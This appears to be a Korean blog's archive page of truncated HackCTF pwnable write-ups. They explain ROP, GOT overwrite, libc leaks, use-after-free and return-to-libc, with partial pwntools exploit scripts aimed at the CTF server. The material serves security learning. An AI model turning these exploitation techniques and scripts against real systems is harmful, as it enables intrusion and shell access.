anonymous?

# process stripped(안티디버깅)되어있어서 symbol을 load할 수 없다. 그리고 read 함수만 있다. 이때 syscall을 사용한 ROP 기법을 사용해서 익스할 수 있다. 일반적으로 함수 하위 세자리는 offset으로 고정적이다. 그리고 read 함수를 확인해보면 syscall이 존재한다. 이 read의 syscall을 이용할 것이다. 1. data 영역에 "/bin/sh" 문자열을 넣는다. read 함수는 3개 인자를 필요로하므로 "pop rax; pop rdi; pop rsi; ret" gadget을 사용한다. x64 인자 구성 순서는 rdi, rsi, rdx 이므로 인자 순서대로 값을 넣어주면 된다. "/bin/sh" 문자열은 read로 data 영역에 입력받을 때 send한다...

SYSTEM HACKING/HackCTF 2020. 1. 30. 00:55

Def Camp 2016 Warm Heap와 완전히 똑같은 문제이다. # 보호기법 확인 # pseudo code # process 1번째 fgets 후 heap 상태 : 1번째 strcpy 후 heap 상태 : v4+1이 exit@got로 덮힌 것 확인 가능 두 번째 fgets와 strcpy가 끝난 후 : exit@got(0x601068) 에 flag 함수 주소(0x400826) 값이 적혀있다. # exploit code pwn import * #p = process("./beginner_heap.bin") p = remote("ctf.j0n9hyun.xyz", 3016) #gdb.attach(p) elf = ELF("./beginner_heap.bin") flag = 0x400826 exit_got =..

SYSTEM HACKING/HackCTF 2020. 1. 22. 23:28

Unexploitable #1에서 system 함수를 사용해서 leak한 방법을 그대로 사용하면 된다. 이번에는 fflush 함수가 없어서 아쉽게도 fflush 이용하는 방법은 안 된다. # 보호기법 확인 # process gadget 찾기 :: libc 파일 :: 이전 문제와 똑같이 system@plt를 사용해서 libc leak을 하고, system 함수와 "/bin/sh" 주소를 구해서 RTL을 진행한다. main 함수 주소는 elf.symbols['main']으로 안 되서 그냥 주소 적었다. # exploit code #!/usr/bin/python from pwn import * #p = process("./Unexploitable_2") p = remote("ctf.j0n9hyun.xyz", ..

SYSTEM HACKING/HackCTF 2020. 1. 19. 19:56

# 보호기법 확인 # process system 함수 plt와 got가 주어져있어서 이것을 사용하면 된다. "pop rdi; ret" gadget을 사용한다. ROP를 진행하는데 처음에 libc leak을 위해 system 함수를 사용한다. system 함수 인자로 명령어가 아닌 것을 줬을 때 이렇게 에러 메시지가 출력되는데, 이것을 사용해서 system 함수 인자인자로 특정 libc 함수 주소를 주면, 에러 메시지가 출력되면서 그 내용을 출력해줄 것이다. 이것을 leak헤서 libcBase를 구하고 system 함수와 "/bin/sh" 주소를 구한다. 그리고 다시 main으로 리턴한다. main으로 다시 가고난 후 익스하는 방법은 여러가지 있다. 1. RTL gadget을 사용해서 return addr..

SYSTEM HACKING/HackCTF 2020. 1. 19. 19:48

# contents 메뉴 :: 1번 : add_note - heap 영역 할당 2번 : del_note - heap 영역 해제 3번 : print_note - 내용 출력 4번 : exit magic :: flag 출력 함수 # process 1. heap 2개 할당 (0x90, 0x100) 2. 할당한 heap 2개 해제 3. fastChunk 1개 (0x20) 할당 - 할당한 index는 2번 청크인데, 0번과 같은 사이즈라서 0번 청크에 할당된다. - magic 주소를 적어놓는다. 4. print_note로 0번 청크 내용 출력 - 0번 청크를 해제했지만 여전히 0번 청크의 포인터는 해당 heap 영역을 가리키고 있는 상태라서 print_note로 0번을 출력할 수 있다. 이것이 UAF(Use Aft..

SYSTEM HACKING/HackCTF 2020. 1. 19. 17:27

# pseudo code 프로그램 실행마다 생성되는 난수와 입력 값이 같으면 flag를 출력해주는 간단한 문제이다. # process 난수를 어떻게 생성할까. 프로그램 실행 시 한 번만 입력받으므로 익스 코드 내에서는 불가능하다. 따라서 따로 난수 프로그램을 만들어서 입력으로 줘야한다. 1. 파이프 사용 : c 파일의 표준출력(난수)을 서버의 표준입력으로 준다. 2. 난수를 생성하는 c 코드 파일을 so 파일로 만들어서 ctype으로 파이썬에 import 하는 방법 3. 파이썬 내에서 ctypes 모듈을 불러와서 난수를 생성한다. 1번 방법 사용 #include #include #include void main(){ srand(time(0)); printf("%d\n", rand()); } 컴파일해서 r..

SYSTEM HACKING/HackCTF 2020. 1. 18. 17:55

# 보호기법 확인 # process vulnerable_function 함수에서 read 함수로 0x100 바이트 입력받는다. 버퍼의 크기는 0x88 바이트로 BOF 취약점 존재. return address를 덮고 ROP를 진행하기에 충분하다. 그리고 libc leak을 한 후 system 함수와 "/bin/sh" 문자열을 구한 후 다시 vulnerable_function 함수로 리턴해서 RTL을 진행한다. * ROP gadget 구하기 write 함수로 got leak -> write 3개 인자 필요 -> pop; pop; pop; ret gadget 사용 RTL -> system 1개 인자 필요 -> pop; ret gadget 사용 $ objdump -d rop | grep -B3 "ret" 종류가..

SYSTEM HACKING/HackCTF 2020. 1. 16. 16:30

# 보호기법 확인 # pseudo code nptr에서부터 v2의 크기만큼만 v4에 입력받는 character 하나씩만 입력받을 수 있다. 그리고 nptr에 저장된 값을 atoi 함수를 이용해서 int형으로 바꾼 결과를 v2 변수에 저장한다. 문제는 nptr 크기는 0x2c(44바이트)인데 첫 번째 v2의 크기를 한 바이트씩 입력 시 0x20보다 커지면 if문에 의해 break된다. 그리고 do_thing() 함수가 있어서 어셈블리 코드를 봤더니 "pop ebp; ret" gadget이 있었다. system 함수의 plt, got 주소를 알 수 없으므로 libc leak을 통해 주소를 구하고, RTL을 진행하면 될 것 같았다. 문제는 크기가 0x2c인 nptr의 return address 덮을 수 없다는..

SYSTEM HACKING/HackCTF 2020. 1. 15. 17:24

Look at me 문제를 풀고 푸니까 간단하게 풀렸다. # 보호기법 확인 NX 걸려있어서 쉘코드 실행 X # pseudo code "/bin/sh" 문자열 주소와 system() 함수 주소를 출력해줘서 문제이름이 Gift인가. 주소를 알아서 출력해준다. fgets() 함수는 딱 주어진 128바이트까지만 stdin, 즉 표준입력받아서 BOF 발생 안 하는데, 아래의 gets() 함수는 제한이 없으므로 BOF 취약점이 있다. 역시 그냥은 풀리지 않는다. 출력해주는 주소에서 값을 확인해보면 텅텅 비어있기 때문이다. 근데 look at me를 풀고 보니, 여기에 "/bin/sh" 값을 적으면 될 것 같다. 그리고 RTL 시 똑같이 binsh 주소를 주면 거기에 "/bin/sh" 문자열이 적혀있기 때문에 sys..

SYSTEM HACKING/HackCTF 2020. 1. 12. 17:57

# 보호기법 확인 신경써야 할 보호기법은 NX인데, NX가 걸려있어서 쉘코드를 실행하지 못한다. # pseudo code look_at_me() 함수의 gets() 함수에서 BOF 취약점이 발생한다. 입력버퍼의 크기와 상관없이 입력받을 수 있어서 return address를 변조할 수 있다. 간단하지만 아래의 사항을 확인해보면 간단하지 않다. # process ldd 명령어로 libc 파일을 확인하려는데 없다고 출력된다. file 명령어로 파일 상태 정보를 확인해보면 일반적인 dynamically linked binary file이 아닌 statically linked binary file이다. statically linked 바이너리는 바이너리 내부에 함수들이 있다. 따라서 이렇게 system 함수가 ..

SYSTEM HACKING/HackCTF 2020. 1. 12. 17:56

# process getenv에서 name 변수에 입력받는데 overflow시켜서 return address를 spawn_shell 함수 주소로 덮어서 쉘을 실행시킨다. ELF로 실행파일을 로드해서 pwntools의 symbols로 spawn_shell 함수 주소를 구하려고 했는데 안 되서 그냥 주소를 줘서 구했다. # exploit code #!/usr/bin/python from pwn import * #p = process("./1996") p = remote("ctf.j0n9hyun.xyz", 3013) elf = ELF("./1996") spawn_shell = 0x400897 p.sendline('A'*(0x410+0x8) + p64(spawn_shell)) p.interactive() # e..

SYSTEM HACKING/HackCTF 2020. 1. 8. 23:51

# 보호기법 확인 # process passcode와 입력값이 같으면 core 함수를 호출해준다. Passcode는 v2인데, v2는 5번에 걸쳐 더한 결과이다. 따라서 5번에 나눠서 줘야 한다. hashcode 값은 0xc0d9b0a7인데 5로 나누면 0x2691f021이 나온다. 이걸 5로 곱하면 0xc0d9b0a5으로 2가 모자른데, 마지막 5번째를 0x2691f023으로 준다. 그럼 위와 같이 출력해준다. 문제는..printf 함수 주소가 한글로 둘러싸여 있다. 그래서 0까지 받고 0을 붙이기로 했다. 그리고 주소 다음은 p.recv()로 받는다. (실행파일로 구할 땐 잘 구해졌는데 remote로 구할 때는 안 되서 두 과정을 다르게 해야했다.) 처음에 주어진 hashcode 어떻게 쓰는건지만 알..

SYSTEM HACKING/HackCTF 2020. 1. 8. 23:48